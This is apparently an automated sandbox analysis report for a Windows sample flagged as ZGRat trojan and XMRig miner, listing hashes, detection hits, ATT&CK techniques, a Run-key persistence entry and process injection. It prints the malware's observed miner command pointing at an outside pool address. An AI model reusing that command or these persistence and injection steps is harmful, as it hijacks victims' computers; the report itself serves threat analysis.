xmrig | b0e075912e279e893ea6f1aa33a3734679215d740b861ee1f607f1f0406b8094

Analysis

max time kernel
150s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
10/05/2024, 02:10

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General

Target

FB23FDE22424F2B381E8325FB71CD2B6.exe
Size

2.5MB
MD5

fb23fde22424f2b381e8325fb71cd2b6
SHA1

6628984dbfaf1e4ffc8a46861cad9809e0f53ebe
SHA256

b0e075912e279e893ea6f1aa33a3734679215d740b861ee1f607f1f0406b8094
SHA512

51dd1c34e0a58238a5ea69a58814ca88bbc299282ebae25d8e03014a0c5177daeb480115ff9b4112991fbecf64d3ac04af7fc0026d903dd761a7a8b3e4f25ed8
SSDEEP

49152:WRqr+/a5i+yQgWd2hvEdS82N26odkmgpAqGE0XjJ7lAXkE6:1+Uzyc2vEdSVJmgaqGE0XVKXk

Score

10^/10

xmrig zgrat miner persistence rat upx

Malware Config

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral2/memory/4500-3-0x000001D0A7120000-0x000001D0A733E000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-5-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-13-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-33-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-31-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-51-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-49-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-47-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-45-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-43-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-39-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-37-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-36-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-41-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-29-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-27-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-25-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-23-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-21-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-19-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-17-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-15-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-11-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-9-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-8-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-4-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-65-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-63-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-59-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-67-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-61-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-57-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-55-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1
behavioral2/memory/4500-53-0x000001D0A7120000-0x000001D0A7338000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/memory/3920-4922-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/3920-4929-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3920-4922-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/3920-4929-0x0000000140000000-0x00000001407DC000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jotler = "C:\\Users\\Admin\\AppData\\Roaming\\jotler.exe"	FB23FDE22424F2B381E8325FB71CD2B6.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4500 set thread context of 3676	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe	100
PID 3676 set thread context of 3920	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe	101

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3676	FB23FDE22424F2B381E8325FB71CD2B6.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe
Token: SeDebugPrivilege	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe
Token: SeDebugPrivilege	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe
Token: SeLockMemoryPrivilege	3920	ngen.exe
Token: SeLockMemoryPrivilege	3920	ngen.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3920	ngen.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4500 wrote to memory of 3676	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe	100
PID 4500 wrote to memory of 3676	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe	100
PID 4500 wrote to memory of 3676	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe	100
PID 4500 wrote to memory of 3676	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe	100
PID 4500 wrote to memory of 3676	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe	100
PID 4500 wrote to memory of 3676	4500	FB23FDE22424F2B381E8325FB71CD2B6.exe	100
PID 3676 wrote to memory of 3920	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe	101
PID 3676 wrote to memory of 3920	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe	101
PID 3676 wrote to memory of 3920	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe	101
PID 3676 wrote to memory of 3920	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe	101
PID 3676 wrote to memory of 3920	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe	101
PID 3676 wrote to memory of 3920	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe	101
PID 3676 wrote to memory of 3920	3676	FB23FDE22424F2B381E8325FB71CD2B6.exe	101

C:\Users\Admin\AppData\Local\Temp\FB23FDE22424F2B381E8325FB71CD2B6.exe
"C:\Users\Admin\AppData\Local\Temp\FB23FDE22424F2B381E8325FB71CD2B6.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4500
- C:\Users\Admin\AppData\Local\Temp\FB23FDE22424F2B381E8325FB71CD2B6.exe
  "C:\Users\Admin\AppData\Local\Temp\FB23FDE22424F2B381E8325FB71CD2B6.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3676
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=65.109.127.181:3333 -u PLAYA -p PLAYA -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\FB23FDE22424F2B381E8325FB71CD2B6.exe.log

Filesize
1KB

MD5
aabcf0a58c791388481062e804b82e5d

SHA1
322d0ac30e15cb80d799a416e5cb35db10e259ac

SHA256
75cb2c51dac49b960ce0c25b495793a5b04500d44e49b42681f93d0114de5bb7

SHA512
64220c514cd1fbf6c2a3eb981196b62ff4b7cdb12d6b1fab3ab815be56b47169997fb1dec1cac7055f73556e03c7f156b43c2e9793dfb674dc9f44a0e5bac7ab

Download Submit
memory/3676-4892-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/3676-4923-0x00007FFD5DB10000-0x00007FFD5E5D1000-memory.dmp

Filesize
10.8MB

Download
memory/3676-4913-0x00007FFD5DB10000-0x00007FFD5E5D1000-memory.dmp

Filesize
10.8MB

Download
memory/3676-4912-0x00007FFD5DB10000-0x00007FFD5E5D1000-memory.dmp

Filesize
10.8MB

Download
memory/3920-4929-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/3920-4922-0x0000000140000000-0x00000001407DC000-memory.dmp

Filesize
7.9MB

Download
memory/4500-15-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-4-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-49-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-47-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-45-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-43-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-39-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-37-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-36-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-41-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-29-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-27-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-25-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-23-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-21-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-19-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-17-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-0-0x000001D08C7E0000-0x000001D08CA64000-memory.dmp

Filesize
2.5MB

Download
memory/4500-11-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-9-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-8-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-51-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-65-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-63-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-59-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-67-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-61-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-57-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-55-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-53-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-4884-0x00007FFD5DB10000-0x00007FFD5E5D1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-4886-0x000001D0A73A0000-0x000001D0A73EC000-memory.dmp

Filesize
304KB

Download
memory/4500-4885-0x000001D0A7340000-0x000001D0A739A000-memory.dmp

Filesize
360KB

Download
memory/4500-4887-0x000001D0A73F0000-0x000001D0A7444000-memory.dmp

Filesize
336KB

Download
memory/4500-31-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-33-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-13-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-4911-0x00007FFD5DB10000-0x00007FFD5E5D1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-5-0x000001D0A7120000-0x000001D0A7338000-memory.dmp

Filesize
2.1MB

Download
memory/4500-3-0x000001D0A7120000-0x000001D0A733E000-memory.dmp

Filesize
2.1MB

Download
memory/4500-2-0x00007FFD5DB10000-0x00007FFD5E5D1000-memory.dmp

Filesize
10.8MB

Download
memory/4500-1-0x00007FFD5DB13000-0x00007FFD5DB15000-memory.dmp

Filesize
8KB

Download